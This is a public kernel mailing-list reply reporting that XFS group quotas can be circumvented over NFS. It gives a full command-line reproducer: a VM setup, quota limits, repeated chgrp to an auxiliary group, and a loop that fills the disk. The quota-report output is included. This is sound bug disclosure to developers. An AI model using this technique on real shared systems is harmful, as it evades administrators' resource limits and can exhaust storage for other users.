Linux XFS filesystem development
 help / color / mirror / Atom feed
From: "Dr. Thomas Orgis" <thomas.orgis@uni-hamburg.de>
To: <linux-xfs@vger.kernel.org>
Subject: Re: XFS group quota circumvention via NFS and chgrp
Date: Thu, 18 Jun 2026 23:05:40 +0200	[thread overview]
Message-ID: <20260618230540.424cceee@plasteblaster> (raw)
In-Reply-To: <20260616110804.5d26ff85@plasteblaster>

Am Tue, 16 Jun 2026 11:08:04 +0200
schrieb "Dr. Thomas Orgis" <thomas.orgis@uni-hamburg.de>:

> Dear Linux XFS folks,
> 
> I noticed that xfs group quotas can be circumvented via NFS* on vanilla
> Kernel 6.6.x (slightly differing versions on client and server) as
> follows:

I was asked off-list to provide an easier reproducer. Let's try this:

1. Prepare/start a VM in the terminal.

dd if=/dev/zero of=xfs.img bs=1M count=500
wget -O debian-live.iso https://gitlab.com/api/v4/projects/74667529/packages/generic/debian-libre-live/13.3.0/debian-live-13.3.0-amd64-libre-standard.iso
isoinfo -R -i debian-live.iso -x /live/vmlinuz > vmlinuz
isoinfo -R -i debian-live.iso -x /live/initrd.img > initrd.img
qemu-system-x86_64 -nographic -enable-kvm -smp 2 -m 4G \
  -cdrom debian-live.iso -drive index=0,driver=raw,file=xfs.img \
  -kernel vmlinuz -initrd initrd.img -append "boot=live components console=ttyS0 ro"

Login as user/live, and sudo su, or prepend sudo all the time below, if
you prefer.

2. In the VM, as root:

apt install -y nfs-kernel-server
mkfs.xfs -f /dev/sda
mount -o usrquota,grpquota /dev/sda /srv
xfs_quota -x -c 'limit -g bsoft=1m bhard=2m -d' /srv
echo "auxgrp:x:1001:user" >> /etc/group
mkdir -p /srv/share/user
chown user:user /srv/share/user
echo "/srv localhost(fsid=0,rw)" >> /etc/exports
echo "/srv/share localhost(fsid=1,rw)" >> /etc/exports
systemctl restart nfs-kernel-server
mount localhost:/share /mnt/

# First blob. Works.
su user -c 'dd if=/dev/zero of=/mnt/user/blob1 bs=2M count=1'
# Second blob. Fails:
su user -c 'dd if=/dev/zero of=/mnt/user/blob2 bs=2M count=1'
# Show the limited state.
xfs_quota -x -c report /srv
# Move one block to the other group, filling its quota.
su user -c 'chgrp auxgrp /mnt/user/blob1'
# Now write the second blob.
su user -c 'dd if=/dev/zero of=/mnt/user/blob2 bs=2M count=1'
# Magic: Move that away, getting out of auxgrp quota.
su user -c 'chgrp auxgrp /mnt/user/blob2'
xfs_quota -x -c report /srv

# For fun: Just fill the disk.
# side fact: I froze qemu with 100% CPU load when having a sync
# command in the loop instead of sleep. It's one of those days where
# I step onto bugs everywhere.
n=3
while su user -c "dd if=/dev/zero of=/mnt/user/blob$n bs=2M count=1" &&
sleep 0.1 &&
su user -c "chgrp auxgrp /mnt/user/blob$n"
do
  n=$((n+1))
done
xfs_quota -x -c report /srv

Result after the individual writes:

User quota on /srv (/dev/sda)
                               Blocks                     
User ID          Used       Soft       Hard    Warn/Grace     
---------- -------------------------------------------------- 
root                0          0          0     00 [--------]
user             4096          0          0     00 [--------]

Group quota on /srv (/dev/sda)
                               Blocks                     
Group ID         Used       Soft       Hard    Warn/Grace     
---------- -------------------------------------------------- 
root                0       1024       2048     00 [--------]
user                0       1024       2048     00 [--------]
auxgrp           4096       1024       2048     00 [--none--]

This shouldn't be possible. Should it? After the writing loop, I get

2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.0206776 s, 101 MB/s
1+0 records in
1+0 records out
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.0204505 s, 103 MB/s
dd: closing output file '/mnt/user/blob14': Disk quota exceeded
User quota on /srv (/dev/sda)
                               Blocks                     
User ID          Used       Soft       Hard    Warn/Grace     
---------- -------------------------------------------------- 
root                0          0          0     00 [--------]
user            28612          0          0     00 [--------]

Group quota on /srv (/dev/sda)
                               Blocks                     
Group ID         Used       Soft       Hard    Warn/Grace     
---------- -------------------------------------------------- 
root                0       1024       2048     00 [--------]
user             1988       1024       2048     00  [7 days]
auxgrp          26624       1024       2048     00 [--none--]

It quite consistently stops at blob14. I don't quite get why, though.
Inode size does not count into block quota for xfs, right? Why be able
to write 13 blobs, but not 14, when the quota is filled at one already?

Different questions. The main question is: Why I am able to move data
beyond the group quota?


Alrighty then,

Thomas

-- 
Dr. Thomas Orgis
HPC @ Universität Hamburg

      reply	other threads:[~2026-06-18 21:05 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-06-16  9:08 XFS group quota circumvention via NFS and chgrp Dr. Thomas Orgis
2026-06-18 21:05 ` Dr. Thomas Orgis [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260618230540.424cceee@plasteblaster \
    --to=thomas.orgis@uni-hamburg.de \
    --cc=linux-xfs@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox